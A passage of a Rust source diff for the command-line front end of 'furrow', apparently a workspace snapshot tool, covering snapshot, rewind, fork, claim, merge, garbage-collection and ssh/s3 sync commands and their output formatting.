debounce_ms } => { + let repository = FurrowRepository::open(&cli.repo)?; + furrow::watcher::run( + repository, + std::time::Duration::from_millis(debounce_ms.max(10)), + )?; + } + Command::Serve { + socket, + idle_minutes, + } => serve(socket, idle_minutes)?, + Command::Exchange(verb) => exchange::run(verb, &cli.repo, cli.json)?, + Command::RemoteHelper { namespace } => { + furrow::remote::serve(&namespace)?; + } + Command::NamespaceProbe => { + furrow::universe::probe_namespace_helper()?; + } + Command::ExecNamespace { + source, + target, + command, + } => { + furrow::universe::exec_linux_namespace(&source, &target, &command)?; + } + Command::Snap { message, cell_dir } => { + let mut repository = FurrowRepository::open_composed(&cli.repo, cell_dir)?; + let id = repository.snapshot(message, SnapshotTrigger::Manual)?; + if cli.json { + println!("{}", serde_json::json!({"snapshot": id_hex(&id)})); + } else { + println!("Snapshot {}", id_hex(&id)); + } + } + Command::Timeline { limit } => { + let repository = FurrowRepository::open(&cli.repo)?; + let timeline = repository.timeline(limit)?; + if cli.json { + println!("{}", serde_json::to_string_pretty(&timeline)?); + } else { + for snapshot in timeline { + println!( + "{} {} {:<10} {:<7} {}", + &snapshot.id[..12], + snapshot.sealed_at, + snapshot.trigger, + snapshot.materialization.grade, + snapshot.label.unwrap_or_default() + ); + } + } + } + Command::Pin { snapshot } => { + let mut repository = FurrowRepository::open(&cli.repo)?; + let id = repository.resolve_snapshot(&snapshot)?; + let changed = repository.pin(&id)?; + if cli.json { + println!( + "{}", + serde_json::json!({"snapshot": id_hex(&id), "pinned": true, "changed": changed}) + ); + } else if changed { + println!("Pinned {}", id_hex(&id)); + } else { + println!("Already pinned {}", id_hex(&id)); + } + } + Command::Unpin { snapshot } => { + let mut repository = FurrowRepository::open(&cli.repo)?; + let id = repository.resolve_snapshot(&snapshot)?; + let changed = repository.unpin(&id)?; + if cli.json { + println!( + "{}", + serde_json::json!({"snapshot": id_hex(&id), "pinned": false, "changed": changed}) + ); + } else if changed { + println!("Unpinned {}", id_hex(&id)); + } else { + println!("Snapshot was not pinned {}", id_hex(&id)); + } + } + Command::Diff { target } => { + let mut repository = FurrowRepository::open(&cli.repo)?; + let diff = repository.diff(&target)?; + if cli.json { + println!("{}", serde_json::to_string_pretty(&diff)?); + } else { + println!( + "Diff {} ({} -> {})", + diff.target, + &diff.base_snapshot[..12], + &diff.target_snapshot[..12] + ); + if diff.changes.is_empty() { + println!("No changes"); + } else { + for change in diff.changes { + println!(" {:<7} {}", change.action, change.path); + } + } + } + } + Command::Rewind { + snapshot, + paths, + dry_run, + yes, + sqlite_consistent, + cell_dir, + } => { + let mut repository = FurrowRepository::open_composed(&cli.repo, cell_dir)?; + let target = repository.resolve_snapshot(&snapshot)?; + let plan = repository.plan_rewind(&target, &paths)?; + if cli.json || dry_run { + println!("{}", serde_json::to_string_pretty(&plan)?); + } else { + print_plan(&plan); + } + if dry_run || plan.changes.is_empty() { + return Ok(()); + } + if !yes { + anyhow::ensure!( + io::stdin().is_terminal(), + "non-interactive rewind requires --yes" + ); + print!("Apply this rewind? [y/N] "); + io::stdout().flush()?; + let mut answer = String::new(); + io::stdin().read_line(&mut answer)?; + anyhow::ensure!(answer.trim().eq_ignore_ascii_case("y"), "rewind cancelled"); + } + let (pre, applied) = repository + .rewind(&target, &paths, sqlite_consistent) + .context("rewind failed")?; + if cli.json { + println!( + "{}", + serde_json::json!({ + "restored": applied.target, + "pre_rewind_snapshot": id_hex(&pre), + "changes": applied.changes.len(), + }) + ); + } else { + println!("Restored {} paths", applied.changes.len()); + println!("Undo snapshot: {}", id_hex(&pre)); + } + } + Command::Status { fidelity } => { + let repository = FurrowRepository::open(&cli.repo)?; + let status = repository.status()?; + if cli.json { + if fidelity { + println!( + "{}", + serde_json::json!({"status": status, "fidelity": repository.fidelity()?}) + ); + } else { + println!("{}", serde_json::to_string_pretty(&status)?); + } + } else { + println!("Workspace: {}", status.workspace.display()); + println!("Store: {}", status.store.display()); + if let Some(head) = status.head { + println!("Head: {head}"); + } + println!("Snapshots: {}", status.snapshots); + println!("Objects: {}", status.objects); + println!("Pack data: {} bytes", status.physical_bytes); + println!( + "Budget: {} / {} ({} free; {})", + human_bytes(status.budget.physical_bytes), + human_bytes(status.budget.max_store_bytes), + human_bytes(status.budget.available_bytes), + if status.budget.satisfied { + "satisfied" + } else { + "under pressure" + } + ); + println!( + "Watcher: {}", + if status.watcher_running { + "running" + } else { + "stopped" + } + ); + if fidelity { + let report = repository.fidelity()?; + println!("Fidelity: {} ({})", report.grade, report.platform); + for aspect in report.aspects { + println!( + " {:<28} {:<24} {}", + aspect.aspect, aspect.fidelity, aspect.detail + ); + } + } + } + } + Command::Ui { + port, + no_open, + merge_check, + } => { + let repository = FurrowRepository::open(&cli.repo)?; + furrow::ui::run(repository.root(), port, no_open, merge_check, cli.json)?; + } + Command::Fork { + name, + destination, + at, + command, + } => { + anyhow::ensure!( + !cli.json || command.is_empty(), + "--json cannot be combined with a fork command" + ); + let mut repository = FurrowRepository::open(&cli.repo)?; + let name = name.unwrap_or_else(default_fork_name); + let destination = + destination.unwrap_or_else(|| default_fork_destination(&repository, &name)); + let plan = match at { + Some(at) => { + let at = repository.resolve_snapshot(&at)?; + repository.prepare_fork_at(&name, &destination, &at)? + } + None => repository.prepare_fork(&name, &destination)?, + }; + if !cli.json { + print_fork_plan(&plan); + io::stdout().flush()?; + } + let summary = repository.materialize_fork(plan.clone())?; + if cli.json { + println!("{}", serde_json::json!({"plan": plan, "result": summary})); + } else { + println!("Fork {}", summary.name); + println!("Path {}", summary.destination.display()); + println!( + "Tier {} | {} files | {} logical bytes | {} cloned | {} copied | {} ms", + summary.tier, + summary.files, + summary.logical_bytes, + summary.cloned_bytes, + summary.copied_bytes, + summary.elapsed_ms + ); + println!("Base {}", &summary.base_snapshot[..12]); + } + if let Some((program, arguments)) = command.split_first() { + let status = std::process::Command::new(program) + .args(arguments) + .current_dir(&summary.destination) + .env("FURROW_FORK_NAME", &summary.name) + .env("FURROW_FORK_BASE", &summary.base_snapshot) + .status() + .with_context(|| format!("run {:?} in fork", program))?; + anyhow::ensure!(status.success(), "fork command exited with {status}"); + } + } + Command::Forks => { + let repository = FurrowRepository::open(&cli.repo)?; + let forks = repository.forks()?; + if cli.json { + println!("{}", serde_json::to_string_pretty(&forks)?); + } else if forks.is_empty() { + println!("No forks"); + } else { + for fork in forks { + println!( + "{:<20} {:<14} {:>8} ms {:>9} {}", + fork.name, + fork.tier, + fork.elapsed_ms, + if fork.conflicts == 0 && !fork.radar_stale { + "clear".to_owned() + } else if fork.conflicts == 0 { + "clear/stale".to_owned() + } else if fork.radar_stale { + format!("{} conflict/stale", fork.conflicts) + } else { + format!("{} conflict", fork.conflicts) + }, + fork.destination.display() + ); + } + } + } + Command::Events { + after, + limit, + follow, + interval_ms, + } => { + let repository = FurrowRepository::open(&cli.repo)?; + let mut cursor = after; + loop { + let page = repository.events(cursor.as_deref(), limit)?; + anyhow::ensure!( + page.cursor_found, + "event cursor expired; resume from {}", + page.earliest_cursor + .as_deref() + .unwrap_or("the current stream") + ); + for event in &page.events { + write_ndjson(event)?; + } + if let Some(event) = page.events.last() { + cursor = Some(event.cursor.clone()); + } + if !follow { + break; + } + std::thread::sleep(std::time::Duration::from_millis(interval_ms.max(50))); + } + } + Command::WatchFork { + name, + after, + once, + interval_ms, + } => { + let repository = FurrowRepository::open(&cli.repo)?; + let mut cursor = after; + loop { + let updates = repository.fork_updates(&name, cursor.as_deref(), 1000)?; + if !updates.cursor_found { + eprintln!( + "warning: cursor was not in the latest 1000 seals; replaying the retained window" + ); + } + if !updates.snapshots.is_empty() { + if cli.json { + println!("{}", serde_json::to_string(&updates)?); + } else { + for snapshot in &updates.snapshots { + println!( + "{} {} {:<12} {}", + &snapshot.id[..12], + snapshot.sealed_at, + snapshot.trigger, + snapshot.label.clone().unwrap_or_default() + ); + } + } + } + cursor = updates.head; + if once { + return Ok(()); + } + std::thread::sleep(std::time::Duration::from_millis(interval_ms.max(50))); + } + } + Command::ForkRemove { name, keep_files } => { + let mut repository = FurrowRepository::open(&cli.repo)?; + let removal = repository.remove_fork(&name, keep_files)?; + if cli.json { + println!("{}", serde_json::to_string_pretty(&removal)?); + } else if removal.files_removed { + println!( + "Removed fork {} and {}", + removal.name, + removal.destination.display() + ); + } else { + println!( + "Forgot fork {}; files remain at {}", + removal.name, + removal.destination.display() + ); + } + } + Command::Claim { + pattern, + owner, + ttl_seconds, + } => { + let mut repository = FurrowRepository::open(&cli.repo)?; + let owner = owner.unwrap_or_else(|| repository.default_claim_owner()); + let outcome = repository.claim(&pattern, &owner, ttl_seconds)?; + if cli.json { + println!("{}", serde_json::to_string_pretty(&outcome)?); + } else { + println!( + "Claimed {} as {} until {}", + outcome.claim.pattern, outcome.claim.owner, outcome.claim.expires_at + ); + println!("Claim {}", outcome.claim.id); + println!("Snapshot {}", &outcome.snapshot[..12]); + } + } + Command::Claims => { + let repository = FurrowRepository::open(&cli.repo)?; + let claims = repository.claims()?; + if cli.json { + println!("{}", serde_json::to_string_pretty(&claims)?); + } else if claims.is_empty() { + println!("No active claims"); + } else { + for claim in claims { + println!( + "{} {:<20} {:<32} expires {}", + &claim.id[..12], + claim.owner, + claim.pattern, + claim.expires_at + ); + } + } + } + Command::Release { claim, owner } => { + let mut repository = FurrowRepository::open(&cli.repo)?; + let owner = owner.unwrap_or_else(|| repository.default_claim_owner()); + let outcome = repository.release_claim(&claim, &owner)?; + if cli.json { + println!("{}", serde_json::to_string_pretty(&outcome)?); + } else { + println!("Released {} claim(s)", outcome.released.len()); + println!("Snapshot {}", &outcome.snapshot[..12]); + } + } + Command::Coord { command } => match command { + CoordCommand::Write { + path, + value, + file, + owner, + } => { + let bytes = match (value, file) { + (Some(value), None) => value.into_bytes(), + (None, Some(file)) => fs::read(file)?, + (None, None) => { + let mut bytes = Vec::new(); + io::stdin().take(1024 * 1024 + 1).read_to_end(&mut bytes)?; + bytes + } + (Some(_), Some(_)) => unreachable!("clap enforces conflicts"), + }; + anyhow::ensure!(bytes.len() <= 1024 * 1024, "coord value exceeds 1 MiB"); + let mut repository = FurrowRepository::open(&cli.repo)?; + let owner = owner.unwrap_or_else(|| repository.default_claim_owner()); + let outcome = repository.coord_write(&path, &bytes, &owner)?; + if cli.json { + println!("{}", serde_json::to_string_pretty(&outcome)?); + } else { + println!( + "Wrote coord/{} ({} bytes) to {} workspace(s)", + outcome.propagation.path, + outcome.propagation.bytes, + outcome.propagation.propagated_workspaces + ); + for failure in outcome.propagation.failures { + eprintln!( + "warning: {}: {}", + failure.workspace.display(), + failure.error + ); + } + println!("Snapshot {}", &outcome.snapshot[..12]); + } + } + CoordCommand::Read { path } => { + let repository = FurrowRepository::open(&cli.repo)?; + let bytes = repository.coord_read(&path)?; + if cli.json { + let value = String::from_utf8(bytes) + .context("--json coord read requires UTF-8 content")?; + println!("{}", serde_json::json!({"path": path, "value": value})); + } else { + io::stdout().write_all(&bytes)?; + } + } + CoordCommand::List => { + let repository = FurrowRepository::open(&cli.repo)?; + let entries = repository.coord_list()?; + if cli.json { + println!("{}", serde_json::to_string_pretty(&entries)?); + } else if entries.is_empty() { + println!("No coordination values"); + } else { + for entry in entries { + println!("{:>8} {}", entry.bytes, entry.path); + } + } + } + CoordCommand::Remove { path, owner } => { + let mut repository = FurrowRepository::open(&cli.repo)?; + let owner = owner.unwrap_or_else(|| repository.default_claim_owner()); + let outcome = repository.coord_remove(&path, &owner)?; + if cli.json { + println!("{}", serde_json::to_string_pretty(&outcome)?); + } else { + println!( + "Removed coord/{} from {} workspace(s)", + outcome.propagation.path, outcome.propagation.propagated_workspaces + ); + println!("Snapshot {}", &outcome.snapshot[..12]); + } + } + }, + Command::Hook { command } => match command { + HookCommand::Install => { + let hooks = install_hook_adapters(&cli.repo)?; + let (_, snapshot) = FurrowRepository::attach_and_snapshot( + &cli.repo, + Some("installed agent hooks".to_owned()), + SnapshotTrigger::AgentRun, + )?; + if cli.json { + println!( + "{}", + serde_json::json!({"hooks": hooks, "snapshot": id_hex(&snapshot)}) + ); + } else { + for hook in hooks { + println!("Installed {}", hook.display()); + } + println!("Snapshot {}", id_hex(&snapshot)); + } + } + HookCommand::PreTurn { agent, turn, seal } => { + run_hook(&cli.repo, cli.json, "pre-turn", agent, turn, None, seal)?; + } + HookCommand::PostTool { + agent, + turn, + tool, + seal, + } => { + run_hook(&cli.repo, cli.json, "post-tool", agent, turn, tool, seal)?; + } + HookCommand::TurnEnd { agent, turn, seal } => { + run_hook(&cli.repo, cli.json, "turn-end", agent, turn, None, seal)?; + } + }, + Command::Run { + name, + destination, + at, + command, + } => { + anyhow::ensure!(!cli.json, "--json cannot be combined with `furrow run`"); + let mut repository = FurrowRepository::open(&cli.repo)?; + let destination = + destination.unwrap_or_else(|| default_fork_destination(&repository, &name)); + let plan = match at { + Some(at) => { + let at = repository.resolve_snapshot(&at)?; + repository.prepare_fork_at(&name, &destination, &at)? + } + None => repository.prepare_fork(&name, &destination)?, + }; + print_fork_plan(&plan); + io::stdout().flush()?; + let summary = repository.materialize_fork(plan)?; + println!( + "Running in {} ({}; {} cloned, {} copied)", + summary.destination.display(), + summary.tier, + summary.cloned_bytes, + summary.copied_bytes + ); + let (program, arguments) = command + .split_first() + .context("`furrow run` requires a command after --")?; + let status = std::process::Command::new(program) + .args(arguments) + .current_dir(&summary.destination) + .env("FURROW_FORK_NAME", &summary.name) + .env("FURROW_FORK_BASE", &summary.base_snapshot) + .status() + .with_context(|| format!("run {:?} in fork", program))?; + let mut fork_repository = FurrowRepository::open(&summary.destination)?; + let head = fork_repository.snapshot( + Some(format!("command completed in {}", summary.name)), + SnapshotTrigger::AgentRun, + )?; + println!("Fork head {}", &id_hex(&head)[..12]); + println!("Source workspace was not modified"); + println!( + "Merge with: furrow merge {} --check ''", + summary.name + ); + anyhow::ensure!(status.success(), "fork command exited with {status}"); + } + Command::Exec { + fork, + count, + at, + plan, + command, + } => { + execute_universes(&cli.repo, cli.json, fork, count, at, plan, &command)?; + } + Command::Attempt { message, command } => { + anyhow::ensure!(!cli.json, "--json cannot be combined with `furrow try`"); + let (program, arguments) = command + .split_first() + .context("`furrow try` requires a command after --")?; + let command_name = std::path::Path::new(program) + .file_name() + .unwrap_or(program.as_os_str()) + .to_string_lossy(); + let label = message.unwrap_or_else(|| command_name.into_owned()); + anyhow::ensure!(!label.trim().is_empty(), "try label cannot be empty"); + anyhow::ensure!(label.len() <= 256, "try label is limited to 256 bytes"); + let (mut repository, before) = FurrowRepository::attach_and_snapshot( + &cli.repo, + Some(format!("before try: {label}")), + SnapshotTrigger::AgentRun, + )?; + eprintln!("Protected {}", id_hex(&before)); + + let status = std::process::Command::new(program) + .args(arguments) + .current_dir(repository.root()) + .env("FURROW_TRY_SNAPSHOT", id_hex(&before)) + .status() + .with_context(|| format!("run {:?}", program))?; + let outcome = status + .code() + .map_or_else(|| status.to_string(), |code| format!("exit {code}")); + let after = repository.snapshot( + Some(format!("after try ({outcome}): {label}")), + SnapshotTrigger::AgentRun, + )?; + eprintln!("Result {}", id_hex(&after)); + eprintln!("Undo with: furrow rewind {}", id_hex(&before)); + if !status.success() { + exit_with_status(status); + } + } + Command::Shrink { yes, paths } => { + let plan = furrow::shrink::discover(&cli.repo, &paths)?; + if !yes { + if cli.json { + println!("{}", serde_json::to_string_pretty(&plan)?); + } else { + print_shrink_plan(&plan); + if !plan.candidates.is_empty() { + println!("Preview only. Re-run this command with `--yes` to reclaim them."); + } + } + return Ok(()); + } + if plan.candidates.is_empty() { + if cli.json { + println!("{}", serde_json::json!({"plan": plan, "changed": false})); + } else { + println!("No recognized dependency or build caches found"); + } + return Ok(()); + } + + let store_before = FurrowRepository::global_store_physical_bytes()?; + let (mut repository, before) = FurrowRepository::attach_and_snapshot( + &cli.repo, + Some("before shrink".to_owned()), + SnapshotTrigger::Manual, + )?; + eprintln!("Protected {}", id_hex(&before)); + let removal = furrow::shrink::apply(repository.root(), &plan); + let after = + repository.snapshot(Some("after shrink".to_owned()), SnapshotTrigger::Manual)?; + let store_after = repository.store_physical_bytes()?; + let store_added = store_after.saturating_sub(store_before); + let net_reclaimed = plan.total_physical_bytes.saturating_sub(store_added); + let net_added = store_added.saturating_sub(plan.total_physical_bytes); + if cli.json { + println!( + "{}", + serde_json::json!({ + "plan": plan, + "changed": true, + "before_snapshot": id_hex(&before), + "after_snapshot": id_hex(&after), + "estimated_workspace_bytes_removed": plan.total_physical_bytes, + "protected_store_bytes_added": store_added, + "estimated_net_bytes_reclaimed": net_reclaimed, + "estimated_net_bytes_added": net_added, + }) + ); + } else { + print_shrink_plan(&plan); + println!( + "Removed about {} from the workspace; protected store added {}", + human_bytes(plan.total_physical_bytes), + human_bytes(store_added) + ); + if net_added == 0 { + println!( + "Estimated net disk reclaimed: {}", + human_bytes(net_reclaimed) + ); + } else { + println!( + "Estimated net disk increase: {} to keep this cleanup reversible", + human_bytes(net_added) + ); + } + println!("Undo with: furrow rewind {}", id_hex(&before)); + } + removal?; + } + Command::Bisect { + good, + bad, + limit, + command, + } => { + let mut repository = FurrowRepository::open(&cli.repo)?; + let outcome = repository.bisect(&command, good.as_deref(), bad.as_deref(), limit)?; + if cli.json { + println!("{}", serde_json::to_string_pretty(&outcome)?); + } else { + for check in &outcome.checks { + println!( + "{} {:<4} check {:>6} ms fork {:>4} ms {}", + &check.snapshot[..12], + if check.passed { "pass" } else { "fail" }, + check.elapsed_ms, + check.probe_fork_ms, + check.label.clone().unwrap_or_default() + ); + } + println!("Last good: {}", outcome.good_snapshot); + println!("First bad: {}", outcome.first_bad_snapshot); + } + } + Command::Merge { + fork, + snapshot, + base, + check, + dry_run, + } => { + let mut repository = FurrowRepository::open(&cli.repo)?; + let outcome = if let Some(snapshot) = snapshot { + repository.merge_snapshot(&snapshot, base.as_deref(), check.as_deref(), dry_run)? + } else { + let fork = + fork.context("merge requires a fork name or --snapshot ")?; + repository.merge(&fork, check.as_deref(), dry_run)? + }; + if cli.json { + println!("{}", serde_json::to_string_pretty(&outcome)?); + } else { + println!( + "Merge {}: {} changes, {} conflicts", + outcome.fork, + outcome.changes, + outcome.conflicts.len() + ); + for conflict in &outcome.conflicts { + println!( + " conflict {:<16} {}", + conflict.kind, + String::from_utf8_lossy(&conflict.path) + ); + } + if let Some(snapshot) = &outcome.result_snapshot { + println!("Merged snapshot {}", &snapshot[..12]); + if let Some(output) = &outcome.check_output { + if !output.is_empty() { + println!("Check output:\n{output}"); + } + } + } else if dry_run && outcome.conflicts.is_empty() { + println!("Dry run: source workspace was not changed"); + } + } + anyhow::ensure!( + outcome.conflicts.is_empty(), + "merge stopped with {} conflict(s)", + outcome.conflicts.len() + ); + } + Command::Forget { purge } => { + FurrowRepository::open(&cli.repo)?.forget(purge)?; + println!("Repository detached from furrow"); + } + Command::Gc { dry_run } => { + let report = FurrowRepository::gc_global(dry_run)?; + if cli.json { + println!("{}", serde_json::to_string_pretty(&report)?); + } else { + println!( + "{} objects reachable; {} unreachable", + report.reachable_objects, report.unreachable_objects + ); + println!( + "{} retained snapshots; {} historical snapshots thinned", + report.retained_snapshots, report.thinned_snapshots + ); + println!( + "{} bytes {} ({} -> {})", + report.reclaimed_bytes, + if dry_run { "reclaimable" } else { "reclaimed" }, + report.physical_bytes_before, + report.physical_bytes_after + ); + } + } + Command::Budget { max, reserve_free } => { + let max = max.as_deref().map(parse_byte_size).transpose()?; + let reserve_free = reserve_free.as_deref().map(parse_byte_size).transpose()?; + let status = FurrowRepository::budget_global(max, reserve_free)?; + if cli.json { + println!("{}", serde_json::to_string_pretty(&status)?); + } else { + println!( + "Store {} / {}", + human_bytes(status.physical_bytes), + human_bytes(status.max_store_bytes) + ); + println!( + "Free {} / {} reserved", + human_bytes(status.available_bytes), + human_bytes(status.reserved_free_bytes) + ); + println!( + "Budget {}", + if status.satisfied { + "satisfied" + } else { + "cannot be met without deleting protected bytes" + } + ); + } + } + Command::Pair { remote, name, key } => { + let repository = FurrowRepository::open(&cli.repo)?; + let namespace = name.unwrap_or_else(|| default_sync_name(&repository)); + let summary = repository.pair(&remote, &namespace, key.as_deref())?; + print_pair_summary(&summary, cli.json)?; + } + Command::Remote { + command: RemoteCommand::Add { remote, name, key }, + } => { + let repository = FurrowRepository::open(&cli.repo)?; + let namespace = name.unwrap_or_else(|| default_sync_name(&repository)); + let summary = repository.pair(&remote, &namespace, key.as_deref())?; + print_pair_summary(&summary, cli.json)?; + if !cli.json { + println!( + "Clone URL {}/{}", + summary.remote.trim_end_matches('/'), + summary.namespace + ); + } + } + Command::Clone { + remote, + destination, + key, + no_watch, + } => { + let (transport, namespace) = split_clone_url(&remote)?; + let destination = destination.unwrap_or_else(|| PathBuf::from(&namespace)); + anyhow::ensure!( + !destination.exists(), + "clone destination already exists: {}", + destination.display() + ); + fs::create_dir_all(&destination)?; + let result = (|| -> anyhow::Result<(FurrowRepository, furrow::SyncPullOutcome)> { + let status = std::process::Command::new("git") + .arg("init") + .arg("--quiet") + .arg("--") + .arg(&destination) + .status() + .context("start git for clone destination")?; + anyhow::ensure!(status.success(), "git init failed for clone destination"); + let (mut repository, _) = FurrowRepository::watch(&destination)?; + repository.pair(PathBuf::from(&transport).as_path(), &namespace, Some(&key))?; + let outcome = repository + .sync_pull(true, None) + .context("workspace was not found or the recovery key does not match")?; + Ok((repository, outcome)) + })(); + let (repository, outcome) = match result { + Ok(value) => value, + Err(error) => { + let _ = fs::remove_dir_all(&destination); + return Err(error.context("clone failed; incomplete destination was removed")); + } + }; + if !no_watch && std::env::var_os("FURROW_NO_DAEMON").is_none() { + spawn_background_watcher(&repository, 500)?; + } + if cli.json { + println!( + "{}", + serde_json::json!({ + "workspace": repository.root(), + "remote": remote, + "sync": outcome, + }) + ); + } else { + println!("Cloned {}", repository.root().display()); + println!("Remote snapshot {}", &outcome.remote_snapshot[..12]); + println!( + "{} objects fetched ({} bytes); {} reused; {} files materialized", + outcome.fetched_objects, + outcome.fetched_bytes, + outcome.reused_objects, + outcome.materialized_files + ); + } + } + Command::Sync { + push, + pull, + follow, + poll_seconds, + takeover, + bootstrap, + ref_name, + timings, + } => { + anyhow::ensure!( + push || pull || follow, + "choose exactly one of --push, --pull, or --follow" + ); + let ref_name = ref_name.as_deref(); + let mut repository = FurrowRepository::open(&cli.repo)?; + if follow { + anyhow::ensure!(poll_seconds > 0, "--poll-seconds must be greater than zero"); + let mut session = repository.sync_follow_session(ref_name)?; + loop { + let result = repository.sync_follow_once(&mut session); + let session_failed = result.is_err(); + match result { + Ok(SyncFollowOutcome::Idle) => {} + Ok(SyncFollowOutcome::Published { report }) => { + println!( + "Published {} ({} objects, {} bytes)", + &report.snapshot[..12], + report.uploaded_objects, + report.uploaded_bytes + ); + if timings { + print_transport_timings(&report.timings); + } + } + Ok(SyncFollowOutcome::Pulled { outcome }) => { + println!( + "Remote {} {:?}", + &outcome.remote_snapshot[..12], + outcome.disposition + ); + if outcome.disposition == SyncDisposition::Diverged { + eprintln!( + "Divergence preserved; follow is paused until it is resolved" + ); + } + if timings { + print_transport_timings(&outcome.timings); + print_apply_timings(&outcome.apply_timings); + } + } + Err(error) => eprintln!("sync follow: {error:#}"), + } + if session_failed { + std::thread::sleep(std::time::Duration::from_secs(poll_seconds)); + session = repository.sync_follow_session(ref_name)?; + continue; + } + if let Err(error) = + session.wait_for_remote_change(std::time::Duration::from_secs(poll_seconds)) + { + eprintln!("sync follow notification: {error:#}"); + std::thread::sleep(std::time::Duration::from_secs(poll_seconds)); + session = repository.sync_follow_session(ref_name)?; + } + } + } else if push { + let report = repository.sync_push(takeover, ref_name)?; + if timings { + print_transport_timings(&report.timings); + } + if cli.json { + println!("{}", serde_json::to_string_pretty(&report)?); + } else { + println!("Published snapshot {}", &report.snapshot[..12]); + println!( + "{} objects uploaded ({} bytes); {} reused", + report.uploaded_objects, report.uploaded_bytes, report.reused_objects + ); + } + } else { + let outcome = repository.sync_pull(bootstrap, ref_name)?; + if timings { + print_transport_timings(&outcome.timings); + print_apply_timings(&outcome.apply_timings); + } + if cli.json { + println!("{}", serde_json::to_string_pretty(&outcome)?); + } else { + println!("Remote snapshot {}", &outcome.remote_snapshot[..12]); + println!( + "{} objects fetched ({} bytes); {} reused; {} files materialized", + outcome.fetched_objects, + outcome.fetched_bytes, + outcome.reused_objects, + outcome.materialized_files + ); + match outcome.disposition { + SyncDisposition::FastForwarded => println!("Workspace fast-forwarded"), + SyncDisposition::Bootstrapped => { + println!("Workspace initialized from the remote") + } + SyncDisposition::UpToDate => println!("Workspace already up to date"), + SyncDisposition::Diverged => println!( + "Divergence preserved; inspect or materialize the full remote snapshot {}", + outcome.remote_snapshot + ), + } + } + anyhow::ensure!( + outcome.disposition != SyncDisposition::Diverged, + "local and remote working states diverged; neither side was overwritten" + ); + } + } + Command::Work { + remote, + name, + key, + input_ref, + result_ref, + keep, + command, + } => { + run_work(WorkArgs { + json: cli.json, + remote: &remote, + name: name.as_deref(), + key: &key, + input_ref: &input_ref, + result_ref: &result_ref, + keep, + command: &command, + })?; + } + Command::Mcp => { + let repository = FurrowRepository::open(&cli.repo)?; + furrow::mcp::run(repository)?; + } + } + Ok(()) +} + +fn print_transport_timings(timings: &furrow::sync::TransportTimings) { + eprintln!( + "sync timings: connect/auth={}ms negotiate={}ms stream={}ms fsync-wait={}ms notify={} total={}ms reused_connection={}", + timings.connect_auth_ms, + timings.negotiate_ms, + timings.stream_ms, + timings.durability_ms, + timings + .notify_ms + .map_or_else(|| "n/a".to_owned(), |value| format!("{value}ms")), + timings.total_ms, + timings.connection_reused + ); +} + +fn print_apply_timings(timings: &furrow::repository::ApplyTimings) { + eprintln!( + "apply timings: diff-compute={}ms divergence-check={}ms write={}ms fsync={}ms baseline-install={}ms watcher-requiesce={}ms", + timings.diff_compute_ms, + timings.divergence_check_ms, + timings.write_ms, + timings.fsync_ms, + timings.baseline_install_ms, + timings.watcher_requiesce_ms, + ); +} + +fn default_fork_name() -> String { + let seconds = std::time::SystemTime::now() + .duration_since(std::time::UNIX_EPOCH) + .unwrap_or_default() + .as_secs(); + format!("fork-{seconds}") +} + +fn print_pair_summary(summary: &furrow::sync::PairSummary, json: bool) -> anyhow::Result<()> { + if json { + println!("{}", serde_json::to_string_pretty(summary)?); + } else { + println!("Paired {}", summary.namespace); + println!("Remote {}", summary.remote); + println!("Machine {}", summary.machine_id); + println!("Recovery key {}", summary.key_hex); + println!("Keep the recovery key private; enter it once on each additional machine."); + } + Ok(()) +} + +fn split_clone_url(value: &str) -> anyhow::Result<(String, String)> { + let trimmed = value.trim_end_matches('/'); + let (transport, namespace) = trimmed + .rsplit_once('/') + .context("clone URL must end with a workspace name")?; + furrow::remote::validate_namespace(namespace)?; + if transport.starts_with("s3://") { + anyhow::ensure!( + transport.len() > "s3://".len(), + "clone URL must include a bucket and workspace name" + ); + furrow::s3_remote::S3Spec::from_uri(transport)?; + } else if let Some(host) = transport.strip_prefix("ssh://") { + anyhow::ensure!( + !host.is_empty() && !host.contains('/'), + "SSH clone URL must be ssh://HOST/WORKSPACE" + ); + } else { + anyhow::bail!("clone currently requires an ssh:// or s3:// URL"); + } + Ok((transport.to_owned(), namespace.to_owned())) +} + +fn default_exec_name() -> String { + let seconds = std::time::SystemTime::now() + .duration_since(std::time::UNIX_EPOCH) + .unwrap_or_default() + .as_secs(); + format!("exec-{seconds}-{}", std::process::id()) +} + +fn execute_universes( + repo: &std::path::Path, + json: bool, + explicit_name: Option, + count: usize, + at: Option, + plan_only: bool, + command: &[OsString], +) -> anyhow::Result<()> { + use furrow::universe::{ExecPlan, ExecutionDriver, UniverseCommand, UniversePlan}; + + anyhow::ensure!((1..=32).contains(&count), "-n must be between 1 and 32"); + anyhow::ensure!( + explicit_name.is_none() || count == 1, + "--fork names one universe and cannot be combined with -n greater than 1" + ); + anyhow::ensure!( + plan_only || !command.is_empty(), + "`furrow exec` requires a command after -- (or use --plan)" + ); + + let mut repository = FurrowRepository::open(repo)?; + let canonical_workdir = repository.root().to_path_buf(); + let driver = furrow::universe::select_driver(); + let base_name = explicit_name.unwrap_or_else(default_exec_name); + let first_name = if count == 1 { + base_name.clone() + } else { + format!("{base_name}-1") + }; + let first_destination = default_fork_destination(&repository, &first_name); + let first_fork_plan = match at { + Some(at) => { + let at = repository.resolve_snapshot(&at)?; + repository.prepare_fork_at(&first_name, &first_destination, &at)? + } + None => repository.prepare_fork(&first_name, &first_destination)?, + }; + let base_port = std::env::var("PORT") + .ok() + .and_then(|value| value.parse::().ok()) + .unwrap_or(3000); + anyhow::ensure!( + usize::from(base_port).saturating_add(count - 1) <= usize::from(u16::MAX), + "PORT range exceeds 65535" + ); + + let mut fork_plans = Vec::with_capacity(count); + let mut universes = Vec::with_capacity(count); + for offset in 0..count { + let index = offset + 1; + let name = if count == 1 { + base_name.clone() + } else { + format!("{base_name}-{index}") + }; + let destination = if offset == 0 { + first_fork_plan.destination.clone() + } else { + default_fork_destination(&repository, &name) + }; + let mut fork_plan = first_fork_plan.clone(); + if offset > 0 { + fork_plan.fork_id = furrow::new_fork_id()?; + } + fork_plan.name = name.clone(); + fork_plan.destination = destination.clone(); + let process_workdir = match driver.driver { + ExecutionDriver::LinuxMountNamespace => canonical_workdir.clone(), + ExecutionDriver::SiblingDirectory => destination.clone(), + }; + universes.push(UniversePlan { + index, + fork_id: fork_plan.fork_id.clone(), + name, + destination, + process_workdir, + port: base_port + u16::try_from(offset)?, + base_snapshot: fork_plan.base_snapshot.clone(), + logical_bytes: fork_plan.logical_bytes, + projected_fork_ms: fork_plan.projected_native_cow_ms, + }); + fork_plans.push(fork_plan); + } + let exec_plan = ExecPlan { + driver, + canonical_workdir, + universes, + }; + + if plan_only { + if json { + 